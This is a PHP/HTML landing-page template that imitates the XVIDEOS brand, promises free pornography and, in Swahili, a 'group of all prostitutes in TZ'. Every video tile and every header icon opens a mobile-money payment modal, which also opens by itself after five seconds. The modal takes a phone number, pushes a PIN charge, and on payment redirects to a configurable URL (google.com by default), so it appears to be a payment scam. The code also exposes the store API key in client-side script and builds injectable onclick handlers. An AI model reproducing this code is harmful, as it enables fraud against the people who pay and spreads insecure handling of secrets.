<?php
/**
 * templates/landing9.php
 * Custom XVIDEOS Theme
 */

require_once __DIR__ . '/../config.php';
require_once __DIR__ . '/../includes/db.php';
require_once __DIR__ . '/../includes/functions.php';

$site_settings = get_site_settings($pdo);
$landing_title = $site_settings['landing_title'] ?? 'UTAMU';
$favicon = $site_settings['site_favicon'] ?? 'assets/images/favicon.png';

// Handle rotating hero: Pick a random video if available
$featured = !empty($videos) ? $videos[array_rand($videos)] : null;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title><?= htmlspecialchars($landing_title) ?> | Free Site</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body { background-color: #000; color: #ccc; font-family: Arial, sans-serif; margin: 0; }
        .header-bg { background: #1a1a1a; border-bottom: 2px solid #ba0202; }
        .video-container { background: #000; position: relative; }
        .video-duration { position: absolute; bottom: 5px; right: 5px; background: rgba(0,0,0,0.8); color: #fff; padding: 2px 4px; font-size: 11px; border-radius: 2px; }
        .video-quality { position: absolute; top: 5px; right: 5px; background: #ff5c00; color: #fff; padding: 2px 4px; font-size: 11px; font-weight: bold; border-radius: 2px; }
        .red-text { color: #ff0000; }
        
        /* Modal Style */
        .glass-modal { background: rgba(0,0,0,0.85); backdrop-filter: blur(8px); }
        .loader { border: 4px solid #f3f3f3; border-top: 4px solid #00b341; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
        
        @keyframes popIn { from { transform: scale(0.9); opacity: 0; } to { transform: scale(1); opacity: 1; } }
        .animate-pop { animation: popIn 0.3s ease-out forwards; }
    </style>
</head>
<body class="pb-10">

    <header class="header-bg p-3 flex justify-between items-center sticky top-0 z-40">
        <div class="flex items-center gap-3">
            <svg class="w-6 h-6 text-white" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16"></path></svg>
            <div class="text-2xl font-black flex items-center text-white">
                <?= htmlspecialchars($landing_title) ?>
            </div>
        </div>
        <div class="flex gap-4 text-white">
            <svg class="w-6 h-6" fill="currentColor" viewBox="0 0 24 24" onclick="triggerDefaultPayment()"><path d="M15.5 14h-.79l-.28-.27A6.471 6.471 0 0016 9.5 6.5 6.5 0 109.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"></path></svg>
            <svg class="w-6 h-6" fill="currentColor" viewBox="0 0 24 24" onclick="triggerDefaultPayment()"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3zm0 14.2c-2.5 0-4.71-1.28-6-3.22.03-1.99 4-3.08 6-3.08 1.99 0 5.97 1.09 6 3.08-1.29 1.94-3.5 3.22-6 3.22z"></path></svg>
            <svg class="w-6 h-6" fill="currentColor" viewBox="0 0 24 24" onclick="triggerDefaultPayment()"><path d="M19.14 12.94c.04-.3.06-.61.06-.94 0-.32-.02-.64-.07-.94l2.03-1.58c.18-.14.23-.41.12-.61l-1.92-3.32c-.12-.22-.37-.29-.59-.22l-2.39.96c-.5-.38-1.03-.7-1.62-.94l-.36-2.54c-.04-.24-.24-.41-.48-.41h-3.84c-.24 0-.43.17-.47.41l-.36 2.54c-.59.24-1.13.57-1.62.94l-2.39-.96c-.22-.08-.47 0-.59.22L2.74 8.87c-.12.21-.08.47.12.61l2.03 1.58c-.05.3-.09.63-.09.94s.02.64.07.94l-2.03 1.58c-.18.14-.23.41-.12.61l1.92 3.32c.12.22.37.29.59.22l2.39-.96c.5.38 1.03.7 1.62.94l.36 2.54c.05.24.24.41.48.41h3.84c.24 0 .44-.17.47-.41l.36-2.54c.59-.24 1.13-.56 1.62-.94l2.39.96c.22.08.47 0 .59-.22l1.92-3.32c.12-.22.07-.47-.12-.61l-2.01-1.58zM12 15.6c-1.98 0-3.6-1.62-3.6-3.6s1.62-3.6 3.6-3.6 3.6 1.62 3.6 3.6-1.62 3.6-3.6 3.6z"></path></svg>
        </div>
    </header>

    <div class="text-center py-2 text-[10px] font-bold uppercase">
        THE BEST <span class="text-orange-500 underline">FREE PORN</span> SITE
    </div>

    <main class="space-y-4 px-1" id="mainGrid">
        <?php foreach($videos as $vid): ?>
        <div class="space-y-1 cursor-pointer" onclick="openPaymentModal('<?= $vid['id'] ?>', '<?= $vid['price'] ?>', '<?= addslashes($vid['title']) ?>')">
            <div class="video-container">
                <img src="<?= htmlspecialchars($vid['thumbnail_url'] ?: 'https://files.catbox.moe/cq8rmp.jpg') ?>" class="w-full aspect-video object-cover border-t border-gray-900">
                <span class="video-quality">1080p</span>
                <span class="video-duration">Full</span>
            </div>
            <p class="text-[13px] font-bold text-white px-2 leading-tight"><?= htmlspecialchars($vid['title']) ?></p>
            <div class="flex justify-between px-2 text-[11px]">
                <span class="text-blue-400 underline">Premium Content</span>
                <span><?= number_format($vid['views']) ?> Views</span>
            </div>
        </div>
        <?php endforeach; ?>
    </main>

    <!-- Payment Modal -->
    <div id="paymentModal" class="fixed inset-0 z-[100] hidden flex items-center justify-center p-4 glass-modal">
        <div id="modalBox" class="bg-white w-full max-w-sm rounded-lg overflow-hidden animate-pop shadow-2xl">
            <div class="flex justify-end p-2">
                <button onclick="closePaymentModal()" class="text-gray-400 text-2xl font-bold">×</button>
            </div>
            
            <div id="modalContent" class="px-6 pb-8 text-center">
                <h2 class="text-gray-700 font-bold mb-2">Lipia <span id="modalPriceDisplay">TSH 1,000/=</span> Kuendelea</h2>
                <p class="text-gray-500 text-[11px] font-bold mb-6 uppercase tracking-tight" id="modalTitleDisplay">
                    Angalia Video Zote Baada ya Kulipia<br>
                    Group la malaya wote TZ<br>
                    Connection zote zipo
                </p>

                <form id="payForm" onsubmit="initiatePayment(event)">
                    <input type="hidden" id="videoID" value="">
                    <input type="hidden" id="modalPriceValue" value="">
                    
                    <div class="text-left mb-6">
                        <label class="text-black font-bold block mb-2">Namba ya simu yenye hela</label>
                        <input type="number" id="phoneInput" placeholder="07XXXXXXXX" required 
                            class="w-full border-2 border-blue-500 rounded-lg p-4 text-center text-xl font-bold text-black outline-none">
                    </div>

                    <div id="errorBox" class="hidden mb-4 bg-red-100 border border-red-300 text-red-600 text-xs font-bold p-2 rounded"></div>

                    <div class="bg-gray-50 p-4 rounded-lg flex justify-between items-center mb-6 border border-gray-100">
                        <div class="flex gap-1">
                            <img src="https://i.postimg.cc/L4jJ9Zxb/sanpay-payment.png" class="h-6">
                        </div>
                        <div class="text-blue-600 font-bold text-lg" id="modalPriceLabel">Tsh 1,000</div>
                    </div>

                    <button type="submit" id="payBtn" class="w-full bg-[#00b341] hover:bg-[#009436] text-white py-4 rounded-lg font-bold text-xl flex items-center justify-center gap-3 transition-transform active:scale-95">
                        <span id="btnText">Lipia</span>
                        <div id="btnLoader" class="hidden loader !w-6 !h-6 !border-2"></div>
                    </button>
                </form>
            </div>
        </div>
    </div>

    <script>
        const SITE = '<?= htmlspecialchars(SITE_URL ?? "") ?>';
        const REDIRECT = '<?= htmlspecialchars($store_redirect_url ?? "https://google.com") ?>';
        const API_KEY = '<?= htmlspecialchars($store_api_key ?? "") ?>';
        let pollingInterval = null;

        function triggerDefaultPayment() {
            <?php if ($featured): ?>
            openPaymentModal('<?= $featured['id'] ?>', '<?= $featured['price'] ?>', '<?= addslashes($featured['title']) ?>');
            <?php endif; ?>
        }

        // Auto-Trigger baada ya Sekunde 3 kama kawaida ya template hii
        <?php if(!isset($_GET['access'])): ?>
        setTimeout(() => {
            triggerDefaultPayment();
        }, 5000); // Made it 5s to be polite, like landing8
        <?php endif; ?>

        function openPaymentModal(videoId, price, title) {
            document.getElementById('videoID').value = videoId;
            document.getElementById('modalPriceValue').value = price;
            
            const formattedPrice = Number(price).toLocaleString();
            document.getElementById('modalPriceDisplay').textContent = 'TSH ' + formattedPrice + '/=';
            document.getElementById('modalPriceLabel').textContent = 'Tsh ' + formattedPrice;
            document.getElementById('modalTitleDisplay').textContent = title;
            
            document.getElementById('paymentModal').classList.remove('hidden'); 
            
            // Track view/click
            fetch(SITE + '/api/track_click.php', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({ domain_id: <?= (int)($domain_id ?? 0) ?>, video_id: videoId })
            }).catch(() => {});
        }
        
        function closePaymentModal() { 
            document.getElementById('paymentModal').classList.add('hidden'); 
            if(pollingInterval) clearInterval(pollingInterval);
            resetBtn();
            // Mrejeshe UI kwenye hali ya kawaida kama kulikua na PIN prompt
            const originalUI = `
                <h2 class="text-gray-700 font-bold mb-2">Lipia <span id="modalPriceDisplay">TSH 1,000/=</span> Kuendelea</h2>
                <p class="text-gray-500 text-[11px] font-bold mb-6 uppercase tracking-tight" id="modalTitleDisplay">...</p>
                <form id="payForm" onsubmit="initiatePayment(event)">
                    <input type="hidden" id="videoID" value="">
                    <input type="hidden" id="modalPriceValue" value="">
                    <div class="text-left mb-6">
                        <label class="text-black font-bold block mb-2">Namba ya simu yenye hela</label>
                        <input type="number" id="phoneInput" placeholder="07XXXXXXXX" required class="w-full border-2 border-blue-500 rounded-lg p-4 text-center text-xl font-bold text-black outline-none">
                    </div>
                    <div id="errorBox" class="hidden mb-4 bg-red-100 border border-red-300 text-red-600 text-xs font-bold p-2 rounded"></div>
                    <div class="bg-gray-50 p-4 rounded-lg flex justify-between items-center mb-6 border border-gray-100">
                        <div class="flex gap-1"><img src="https://i.postimg.cc/L4jJ9Zxb/sanpay-payment.png" class="h-6"></div>
                        <div class="text-blue-600 font-bold text-lg" id="modalPriceLabel">Tsh 1,000</div>
                    </div>
                    <button type="submit" id="payBtn" class="w-full bg-[#00b341] hover:bg-[#009436] text-white py-4 rounded-lg font-bold text-xl flex items-center justify-center gap-3 transition-transform active:scale-95">
                        <span id="btnText">Lipia</span><div id="btnLoader" class="hidden loader !w-6 !h-6 !border-2"></div>
                    </button>
                </form>
            `;
            // Note: Normally we'd restore the HTML or just toggle visibility of divs, 
            // but for simplicity the page reload will fix everything if they close after polling starts, 
            // or we just reload. Let's just reload.
            if(document.getElementById('modalBox').innerHTML.includes('Weka PIN')) {
                window.location.reload();
            }
        }

        async function initiatePayment(e) {
            e.preventDefault();
            const phone = document.getElementById('phoneInput').value;
            const videoID = document.getElementById('videoID').value;
            const amount = document.getElementById('modalPriceValue').value;
            const errorBox = document.getElementById('errorBox');
            
            errorBox.classList.add('hidden');

            if (!/^0[0-9]{9}$/.test(phone)) {
                errorBox.textContent = "Weka namba sahihi (mf. 07XXXXXXXX)";
                errorBox.classList.remove('hidden');
                return;
            }

            const btnText = document.getElementById('btnText');
            const btnLoader = document.getElementById('btnLoader');
            const payBtn = document.getElementById('payBtn');

            btnText.textContent = "Inatuma...";
            btnLoader.classList.remove('hidden');
            payBtn.disabled = true;

            try {
                const res = await fetch(SITE + '/api/pay.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ phone: phone, amount: amount, videoID: videoID, name: (typeof title !== 'undefined' ? title : (typeof videoTitle !== 'undefined' ? videoTitle.value : 'Customer')), token: <?= json_encode($store_api_key) ?> })
                });
                const result = await res.json();

                if (result.success) {
                    showWaiting(amount);
                    startPolling(result.transaction_id);
                } else {
                    errorBox.textContent = result.message || "Hitilafu imetokea.";
                    errorBox.classList.remove('hidden');
                    resetBtn();
                }
            } catch (e) { 
                errorBox.textContent = "Tatizo la mtandao!";
                errorBox.classList.remove('hidden');
                resetBtn(); 
            }
        }

        function showWaiting(amount) {
            document.getElementById('modalContent').innerHTML = `
                <div class="p-10 text-center">
                    <div class="loader mx-auto mb-6"></div>
                    <h2 class="text-xl font-black text-gray-800 mb-2 uppercase">Weka PIN...</h2>
                    <p class="text-gray-500 text-sm">Tafadhali ingiza PIN yako kwenye simu yako kukamilisha malipo ya TSH ${Number(amount).toLocaleString()}.</p>
                    <div class="text-red-500 font-bold mt-4 animate-pulse">Usifunge ukurasa huu...</div>
                </div>`;
        }

        function startPolling(tranId) {
            let attempts = 0;
            pollingInterval = setInterval(async () => {
                attempts++;
                if(attempts > 30) {
                    clearInterval(pollingInterval);
                    alert("Muda wa malipo umeisha. Jaribu tena.");
                    window.location.reload();
                    return;
                }

                try {
                    const cacheBuster = Date.now();
                    const res = await fetch(SITE + '/api/check_status.php?tran_id=' + encodeURIComponent(tranId) + '&token=' + encodeURIComponent(API_KEY) + '&_=' + cacheBuster);
                    const statusData = await res.json();
                    
                    if(statusData.status === 'completed' || statusData.status === 'success') {
                        clearInterval(pollingInterval);
                        window.location.href = REDIRECT;
                    } else if(statusData.status === 'failed' || statusData.status === 'cancelled' || statusData.status === 'user_cancelled' || statusData.status === 'rejected' || statusData.status === 'expired') {
                        clearInterval(pollingInterval);
                        alert("Malipo yamekataliwa.");
                        window.location.reload();
                    }
                } catch (e) {}
            }, 5000);
        }

        function resetBtn() {
            const btnText = document.getElementById('btnText');
            if(btnText) btnText.textContent = "Lipia";
            const btnLoader = document.getElementById('btnLoader');
            if(btnLoader) btnLoader.classList.add('hidden');
            const payBtn = document.getElementById('payBtn');
            if(payBtn) payBtn.disabled = false;
        }
    </script>
</body>
</html>

